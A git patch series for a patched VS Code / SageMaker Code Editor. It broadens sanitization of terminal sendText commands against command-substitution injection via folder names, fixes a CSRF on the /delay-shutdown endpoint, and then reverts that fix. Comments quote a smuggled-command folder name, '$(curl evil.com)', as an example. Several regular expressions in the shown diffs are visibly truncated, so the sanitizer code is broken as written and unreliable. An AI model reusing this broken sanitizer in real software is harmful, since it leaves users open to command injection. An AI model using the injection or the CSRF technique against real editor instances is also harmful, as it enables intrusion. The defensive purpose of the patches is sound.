From 06533e5e74f4006cafaef2e320858563749f30c7 Mon Sep 17 00:00:00 2001 From: Sri Aakash Mandavilli Date: Mon, 20 Apr 2026 07:50:10 +0000 Subject: [PATCH 1/3] Broaden terminal sendText sanitization from cd-only to all path-like tokens Expands sanitizeCdPathsInCommand (now sanitizePathsInCommand) to cover all path-like segments in terminal.sendText(), not just cd arguments. This prevents command injection via malicious folder names in any command (e.g., python /path/$(evil)/file.py). Changes: - Strip newlines and null bytes to prevent line-splitting injection - Sanitize double-quoted paths containing '/' for $(), ${}, backticks - Sanitize unquoted path-like tokens containing '/' - Narrow escaping from all shell metacharacters to only command substitution patterns ($(), ${}, backticks) Aligns with code-editor PR #200. --- .../terminal/common/terminalEnvironment.ts | 49 ++++++++----- .../terminal/browser/terminalInstance.ts | 8 +-- patches/sanitize-terminal-sendtext-paths.diff | 71 +++++++++++-------- 3 files changed, 75 insertions(+), 53 deletions(-) diff --git a/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts b/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts index a3ce2acd..cdc8ec71 100644 --- a/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts +++ b/patched-vscode/src/vs/platform/terminal/common/terminalEnvironment.ts @@ -70,27 +70,38 @@ export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): } /** - * Sanitize shell-dangerous characters in path segments of terminal commands. - * This targets command injection via malicious folder/file names containing - * shell metacharacters like $(), backticks, etc. that get interpolated when - * extensions send raw commands via terminal.sendText(). - * - * The function identifies path-like segments following 'cd' commands and - * escapes shell metacharacters to prevent command substitution. + * Sanitize command substitution patterns ($(), ${}, ``) in path-like segments + * of terminal commands to prevent injection via malicious folder/file names. */ -export function sanitizeCdPathsInCommand(text: string): string { - // Match 'cd' followed by a path, terminated by ; && || & or end of string - // This handles patterns like: cd /path/to/$(evil) && python file.py - return text.replace( - /\bcd\s+((?:[^\s;|&]|\\ )+)/g, - (_match: string, path: string) => { - // If the path is already properly quoted (single or double quotes), leave it alone - if (/^'.*'$/.test(path) || /^".*"$/.test(path)) { - return `cd ${path}`; +export function sanitizePathsInCommand(text: string): string { + // Strip newlines and null bytes to prevent command injection via line splitting + let result = text.replace(/[\r\n\x00]/g, ' '); + + // 1. Handle double-quoted paths containing '/' — escape $(), ${}, backticks + result = result.replace( + /"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g, + (_match: string, inner: string) => { + const sanitized = inner + .replace(/(?]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm, + (pathToken: string) => { + if (pathToken.startsWith("'") || pathToken.startsWith('"')) { + return pathToken; } - // Escape shell metacharacters that enable command injection - const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1'); - return `cd ${sanitized}`; + return pathToken + .replace(/(? { - // Sanitize shell command substitution patterns in cd path arguments - // to prevent command injection via malicious folder names (e.g., $(curl evil.com)) - text = sanitizeCdPathsInCommand(text); + // Sanitize command substitution patterns ($(), ${}, ``) in path-like segments + // to prevent injection via malicious folder/file names + text = sanitizePathsInCommand(text); // Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent // the text from triggering keybindings and ensure new lines are handled properly if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) { diff --git a/patches/sanitize-terminal-sendtext-paths.diff b/patches/sanitize-terminal-sendtext-paths.diff index 4cb109b9..3f7f567f 100644 --- a/patches/sanitize-terminal-sendtext-paths.diff +++ b/patches/sanitize-terminal-sendtext-paths.diff @@ -1,44 +1,55 @@ -Sanitize folder paths in terminal sendText to prevent command injection +Sanitize path-like segments in terminal sendText to prevent command injection -Folder names containing shell metacharacters (e.g., $(curl evil.com)) -can trigger command injection when extensions send commands like -"cd && python file.py" via terminal.sendText(). This patch -sanitizes path segments in cd commands by escaping shell-dangerous -characters before the text is written to the terminal process. +Broadens sanitization from cd-only paths to all path-like tokens in +terminal.sendText(). Adds newline/null byte stripping, narrows escaping +to only command substitution patterns ($(), ${}, backticks), and handles +double-quoted paths. This prevents injection via malicious folder names +in any command, not just cd. Index: sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts =================================================================== --- sagemaker-code-editor.orig/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts +++ sagemaker-code-editor/vscode/src/vs/platform/terminal/common/terminalEnvironment.ts -@@ -68,3 +68,29 @@ +@@ -68,3 +68,40 @@ export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean { return !slc.strictEnv; } + +/** -+ * Sanitize shell-dangerous characters in path segments of terminal commands. -+ * This targets command injection via malicious folder/file names containing -+ * shell metacharacters like $(), backticks, etc. that get interpolated when -+ * extensions send raw commands via terminal.sendText(). -+ * -+ * The function identifies path-like segments following 'cd' commands and -+ * escapes shell metacharacters to prevent command substitution. ++ * Sanitize command substitution patterns ($(), ${}, ``) in path-like segments ++ * of terminal commands to prevent injection via malicious folder/file names. + */ -+export function sanitizeCdPathsInCommand(text: string): string { -+ // Match 'cd' followed by a path, terminated by ; && || & or end of string -+ // This handles patterns like: cd /path/to/$(evil) && python file.py -+ return text.replace( -+ /\bcd\s+((?:[^\s;|&]|\\ )+)/g, -+ (_match: string, path: string) => { -+ // If the path is already properly quoted (single or double quotes), leave it alone -+ if (/^'.*'$/.test(path) || /^".*"$/.test(path)) { -+ return `cd ${path}`; ++export function sanitizePathsInCommand(text: string): string { ++ // Strip newlines and null bytes to prevent command injection via line splitting ++ let result = text.replace(/[\r\n\x00]/g, ' '); ++ ++ // 1. Handle double-quoted paths containing '/' — escape $(), ${}, backticks ++ result = result.replace( ++ /"((?:[^"\\]|\\.)*\/(?:[^"\\]|\\.)*)"/g, ++ (_match: string, inner: string) => { ++ const sanitized = inner ++ .replace(/(?]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm, ++ (pathToken: string) => { ++ if (pathToken.startsWith("'") || pathToken.startsWith('"')) { ++ return pathToken; + } -+ // Escape shell metacharacters that enable command injection -+ const sanitized = path.replace(/([\$`!#&|;(){}<>])/g, '\\$1'); -+ return `cd ${sanitized}`; ++ return pathToken ++ .replace(/(? { -+ // Sanitize shell command substitution patterns in cd path arguments -+ // to prevent command injection via malicious folder names (e.g., $(curl evil.com)) -+ text = sanitizeCdPathsInCommand(text); ++ // Sanitize command substitution patterns ($(), ${}, ``) in path-like segments ++ // to prevent injection via malicious folder/file names ++ text = sanitizePathsInCommand(text); // Apply bracketed paste sequences if the terminal has the mode enabled, this will prevent // the text from triggering keybindings and ensure new lines are handled properly if (bracketedPasteMode && this.xterm?.raw.modes.bracketedPasteMode) { From 4b5a66c12ec7cf31b71eda7d267ed09dc294ccb2 Mon Sep 17 00:00:00 2001 From: Sri Aakash Mandavilli Date: Mon, 20 Apr 2026 08:39:18 +0000 Subject: [PATCH 2/3] Fix CSRF on /delay-shutdown by moving it below connection token gate The /delay-shutdown endpoint was handled before the connection token validation, allowing unauthenticated cross-origin requests to reset the idle shutdown timer. An attacker could keep a Code Editor instance running indefinitely via a simple GET redirect from any page. Move the handler below the connection token check so requests without a valid token are rejected with 403. --- .../node/remoteExtensionHostAgentServer.ts | 10 +++--- .../move-delay-shutdown-below-token-gate.diff | 34 +++++++++++++++++++ patches/series | 1 + 3 files changed, 40 insertions(+), 5 deletions(-) create mode 100644 patches/move-delay-shutdown-below-token-gate.diff diff --git a/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts b/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts index 97bfcb35..de3137bd 100644 --- a/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts +++ b/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts @@ -124,6 +124,11 @@ class RemoteExtensionHostAgentServer extends Disposable implements IServerAPI { return void res.end(this._productService.commit || ''); } + if (!httpRequestHasValidConnectionToken(this._connectionToken, req, parsedUrl)) { + // invalid connection token + return serveError(req, res, 403, `Forbidden.`); + } + // Delay shutdown if (pathname === '/delay-shutdown') { this._delayShutdown(); @@ -131,11 +136,6 @@ class RemoteExtensionHostAgentServer extends Disposable implements IServerAPI { return void res.end('OK'); } - if (!httpRequestHasValidConnectionToken(this._connectionToken, req, parsedUrl)) { - // invalid connection token - return serveError(req, res, 403, `Forbidden.`); - } - if (pathname === '/vscode-remote-resource') { // Handle HTTP requests for resources rendered in the rich client (images, fonts, etc.) // These resources could be files shipped with extensions or even workspace files. diff --git a/patches/move-delay-shutdown-below-token-gate.diff b/patches/move-delay-shutdown-below-token-gate.diff new file mode 100644 index 00000000..334198c9 --- /dev/null +++ b/patches/move-delay-shutdown-below-token-gate.diff @@ -0,0 +1,34 @@ +Move /delay-shutdown below connection token validation gate + +The /delay-shutdown endpoint was handled before the connection token +check, allowing unauthenticated cross-origin requests to reset the +idle shutdown timer (CSRF). Move it below the token gate so that +requests without a valid connection token are rejected with 403. + +Index: sagemaker-code-editor/vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts +=================================================================== +--- sagemaker-code-editor.orig/vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts ++++ sagemaker-code-editor/vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts +@@ -125,17 +125,17 @@ + } + +- // Delay shutdown +- if (pathname === '/delay-shutdown') { +- this._delayShutdown(); +- res.writeHead(200); +- return void res.end('OK'); +- } +- + if (!httpRequestHasValidConnectionToken(this._connectionToken, req, parsedUrl)) { + // invalid connection token + return serveError(req, res, 403, `Forbidden.`); + } + ++ // Delay shutdown ++ if (pathname === '/delay-shutdown') { ++ this._delayShutdown(); ++ res.writeHead(200); ++ return void res.end('OK'); ++ } ++ + if (pathname === '/vscode-remote-resource') { diff --git a/patches/series b/patches/series index de36054f..89b0f5b6 100644 --- a/patches/series +++ b/patches/series @@ -23,3 +23,4 @@ display-language.patch custom-extensions-marketplace.diff validate-http-request-referer.patch sanitize-terminal-sendtext-paths.diff +move-delay-shutdown-below-token-gate.diff From 77d365a0ed260d950c19246466c9143e6215828f Mon Sep 17 00:00:00 2001 From: Sri Aakash Mandavilli Date: Mon, 20 Apr 2026 08:47:02 +0000 Subject: [PATCH 3/3] Revert "Fix CSRF on /delay-shutdown by moving it below connection token gate" This reverts commit 4b5a66c12ec7cf31b71eda7d267ed09dc294ccb2. --- .../node/remoteExtensionHostAgentServer.ts | 10 +++--- .../move-delay-shutdown-below-token-gate.diff | 34 ------------------- patches/series | 1 - 3 files changed, 5 insertions(+), 40 deletions(-) delete mode 100644 patches/move-delay-shutdown-below-token-gate.diff diff --git a/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts b/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts index de3137bd..97bfcb35 100644 --- a/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts +++ b/patched-vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts @@ -124,11 +124,6 @@ class RemoteExtensionHostAgentServer extends Disposable implements IServerAPI { return void res.end(this._productService.commit || ''); } - if (!httpRequestHasValidConnectionToken(this._connectionToken, req, parsedUrl)) { - // invalid connection token - return serveError(req, res, 403, `Forbidden.`); - } - // Delay shutdown if (pathname === '/delay-shutdown') { this._delayShutdown(); @@ -136,6 +131,11 @@ class RemoteExtensionHostAgentServer extends Disposable implements IServerAPI { return void res.end('OK'); } + if (!httpRequestHasValidConnectionToken(this._connectionToken, req, parsedUrl)) { + // invalid connection token + return serveError(req, res, 403, `Forbidden.`); + } + if (pathname === '/vscode-remote-resource') { // Handle HTTP requests for resources rendered in the rich client (images, fonts, etc.) // These resources could be files shipped with extensions or even workspace files. diff --git a/patches/move-delay-shutdown-below-token-gate.diff b/patches/move-delay-shutdown-below-token-gate.diff deleted file mode 100644 index 334198c9..00000000 --- a/patches/move-delay-shutdown-below-token-gate.diff +++ /dev/null @@ -1,34 +0,0 @@ -Move /delay-shutdown below connection token validation gate - -The /delay-shutdown endpoint was handled before the connection token -check, allowing unauthenticated cross-origin requests to reset the -idle shutdown timer (CSRF). Move it below the token gate so that -requests without a valid connection token are rejected with 403. - -Index: sagemaker-code-editor/vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts -=================================================================== ---- sagemaker-code-editor.orig/vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts -+++ sagemaker-code-editor/vscode/src/vs/server/node/remoteExtensionHostAgentServer.ts -@@ -125,17 +125,17 @@ - } - -- // Delay shutdown -- if (pathname === '/delay-shutdown') { -- this._delayShutdown(); -- res.writeHead(200); -- return void res.end('OK'); -- } -- - if (!httpRequestHasValidConnectionToken(this._connectionToken, req, parsedUrl)) { - // invalid connection token - return serveError(req, res, 403, `Forbidden.`); - } - -+ // Delay shutdown -+ if (pathname === '/delay-shutdown') { -+ this._delayShutdown(); -+ res.writeHead(200); -+ return void res.end('OK'); -+ } -+ - if (pathname === '/vscode-remote-resource') { diff --git a/patches/series b/patches/series index 89b0f5b6..de36054f 100644 --- a/patches/series +++ b/patches/series @@ -23,4 +23,3 @@ display-language.patch custom-extensions-marketplace.diff validate-http-request-referer.patch sanitize-terminal-sendtext-paths.diff -move-delay-shutdown-below-token-gate.diff